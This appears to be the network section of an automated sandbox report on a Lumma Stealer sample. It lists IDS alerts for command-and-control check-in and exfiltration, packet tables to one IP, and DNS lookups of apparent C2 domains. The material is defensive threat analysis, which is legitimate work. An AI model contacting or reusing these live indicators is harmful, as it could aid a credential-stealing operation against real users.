2025-01-01T21:28:01.576540+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49735	172.67.157.254	443	TCP
2025-01-01T21:28:01.576540+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	172.67.157.254	443	TCP
2025-01-01T21:28:02.348216+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.157.254	443	TCP
2025-01-01T21:28:03.506865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.157.254	443	TCP
2025-01-01T21:28:04.927121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	172.67.157.254	443	TCP
2025-01-01T21:28:06.365717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.157.254	443	TCP
2025-01-01T21:28:07.104797+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49739	172.67.157.254	443	TCP
2025-01-01T21:28:08.097129+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	172.67.157.254	443	TCP
2025-01-01T21:28:13.289406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.157.254	443	TCP
2025-01-01T21:28:13.765451+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 21:27:58.393151999 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:58.393177986 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:58.393274069 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:58.396275043 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:58.396290064 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.029544115 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.029778004 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.036596060 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.036613941 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.036818027 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.089294910 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.107175112 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.151329041 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548297882 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548322916 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548329115 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548366070 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548382044 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548420906 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.548449993 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.548465014 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.548501968 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.650708914 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.650726080 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.650784016 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.650795937 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.650845051 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.655755043 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.655823946 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.655829906 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.655839920 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.655874968 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.656786919 CET	49733	443	192.168.2.4	104.102.49.254
Jan 1, 2025 21:27:59.656799078 CET	443	49733	104.102.49.254	192.168.2.4
Jan 1, 2025 21:27:59.678586006 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:27:59.678627968 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:27:59.678711891 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:27:59.678987026 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:27:59.678998947 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.167344093 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.167444944 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.169950962 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.169960976 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.170176029 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.171427011 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.171454906 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.171497107 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.594372988 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.594444990 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.594501972 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.594681025 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.594697952 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.594707966 CET	49734	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.594713926 CET	443	49734	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.616163015 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.616200924 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:00.616313934 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.616559029 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:00.616574049 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.084188938 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.084271908 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.085988998 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.086000919 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.086222887 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.087364912 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.087387085 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.087433100 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576577902 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576630116 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576666117 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576682091 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.576694965 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576756954 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.576762915 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576797962 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576832056 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576837063 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.576841116 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.576883078 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.576885939 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.577173948 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.577214956 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.577225924 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.577230930 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.577263117 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.581245899 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.620605946 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.665915966 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.665981054 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.666011095 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.666028976 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.666034937 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.666094065 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.666098118 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.666110992 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.666153908 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.666311979 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.666323900 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.666368961 CET	49735	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.666374922 CET	443	49735	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.889947891 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.889998913 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:01.890077114 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.890394926 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:01.890409946 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.348130941 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.348216057 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.349628925 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.349638939 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.349852085 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.351109028 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.351274014 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.351303101 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.351372004 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.351378918 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.983479023 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.983620882 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:02.983695984 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.983797073 CET	49736	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:02.983817101 CET	443	49736	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:03.048425913 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.048460960 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:03.048566103 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.048815966 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.048830986 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:03.506642103 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:03.506865025 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.512383938 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.512398958 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:03.512717009 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:03.513885975 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.514004946 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:03.514031887 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.290113926 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.290273905 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.290332079 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.290415049 CET	49737	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.290426016 CET	443	49737	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.455018044 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.455080032 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.455173016 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.455537081 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.455555916 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.927046061 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.927120924 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.928328991 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.928338051 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.928538084 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.929630995 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.929799080 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.929831028 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:04.929917097 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:04.929934025 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:05.532097101 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:05.532187939 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:05.532229900 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:05.532313108 CET	49738	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:05.532322884 CET	443	49738	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:05.904607058 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:05.904660940 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:05.904731989 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:05.905520916 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:05.905533075 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:06.365614891 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:06.365716934 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:06.367098093 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:06.367110014 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:06.367319107 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:06.368621111 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:06.368722916 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:06.368729115 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:07.104801893 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:07.104923964 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:07.104988098 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:07.105144024 CET	49739	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:07.105165005 CET	443	49739	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:07.597620010 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:07.597665071 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:07.597737074 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:07.598050117 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:07.598061085 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.096951962 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.097129107 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.098181963 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.098192930 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.098408937 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.109431982 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.110239983 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.110275030 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.110394955 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.110426903 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.110737085 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.110780954 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.110935926 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.110971928 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.111166954 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.111197948 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.111407042 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.111432076 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.111439943 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.111454010 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.111660004 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.111684084 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.111709118 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.111886024 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.111903906 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.120351076 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.120634079 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.120660067 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:08.120682001 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.120718956 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.120743036 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:08.125196934 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:12.796082973 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:12.796179056 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:12.796253920 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:12.796478033 CET	49740	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:12.796490908 CET	443	49740	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:12.832335949 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:12.832432985 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:12.832540989 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:12.832801104 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:12.832838058 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.289324999 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.289406061 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.290544987 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.290550947 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.290746927 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.291914940 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.291929960 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.291970968 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765456915 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765508890 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765542030 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765564919 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.765574932 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765614986 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.765615940 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765624046 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765675068 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.765680075 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765728951 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.765769005 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.765774965 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766079903 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766122103 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.766128063 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766496897 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766541958 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.766546965 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766561031 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766603947 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.766668081 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.766675949 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:13.766700029 CET	49741	443	192.168.2.4	172.67.157.254
Jan 1, 2025 21:28:13.766704082 CET	443	49741	172.67.157.254	192.168.2.4
Jan 1, 2025 21:28:30.159807920 CET	54886	53	192.168.2.4	162.159.36.2
Jan 1, 2025 21:28:30.164629936 CET	53	54886	162.159.36.2	192.168.2.4
Jan 1, 2025 21:28:30.164712906 CET	54886	53	192.168.2.4	162.159.36.2
Jan 1, 2025 21:28:30.169473886 CET	53	54886	162.159.36.2	192.168.2.4
Jan 1, 2025 21:28:30.641139984 CET	54886	53	192.168.2.4	162.159.36.2
Jan 1, 2025 21:28:30.646152973 CET	53	54886	162.159.36.2	192.168.2.4
Jan 1, 2025 21:28:30.646203995 CET	54886	53	192.168.2.4	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 21:27:58.265379906 CET	63882	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.274060965 CET	53	63882	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.277209997 CET	65221	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.285598993 CET	53	65221	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.287509918 CET	59317	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.296370029 CET	53	59317	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.298392057 CET	53601	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.307514906 CET	53	53601	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.309461117 CET	56972	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.317655087 CET	53	56972	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.319722891 CET	53017	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.335031033 CET	53	53017	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.336400032 CET	65432	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.345901966 CET	53	65432	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.358475924 CET	58312	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.368380070 CET	53	58312	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.370471954 CET	59352	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.379169941 CET	53	59352	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:58.381047964 CET	61357	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:58.389082909 CET	53	61357	1.1.1.1	192.168.2.4
Jan 1, 2025 21:27:59.665224075 CET	60905	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:27:59.677926064 CET	53	60905	1.1.1.1	192.168.2.4
Jan 1, 2025 21:28:30.159352064 CET	53	56712	162.159.36.2	192.168.2.4
Jan 1, 2025 21:28:30.808635950 CET	54109	53	192.168.2.4	1.1.1.1
Jan 1, 2025 21:28:30.816570044 CET	53	54109	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 21:27:58.265379906 CET	192.168.2.4	1.1.1.1	0x98a8	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.277209997 CET	192.168.2.4	1.1.1.1	0x9672	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.287509918 CET	192.168.2.4	1.1.1.1	0x3ca	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.298392057 CET	192.168.2.4	1.1.1.1	0xf5c2	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.309461117 CET	192.168.2.4	1.1.1.1	0x1d70	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.319722891 CET	192.168.2.4	1.1.1.1	0xec7	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.336400032 CET	192.168.2.4	1.1.1.1	0x80f	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.358475924 CET	192.168.2.4	1.1.1.1	0x7f5f	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.370471954 CET	192.168.2.4	1.1.1.1	0xe2be	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.381047964 CET	192.168.2.4	1.1.1.1	0x1262	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:59.665224075 CET	192.168.2.4	1.1.1.1	0x42de	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:28:30.808635950 CET	192.168.2.4	1.1.1.1	0x93c0	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 21:27:58.274060965 CET	1.1.1.1	192.168.2.4	0x98a8	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.285598993 CET	1.1.1.1	192.168.2.4	0x9672	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.296370029 CET	1.1.1.1	192.168.2.4	0x3ca	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.307514906 CET	1.1.1.1	192.168.2.4	0xf5c2	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
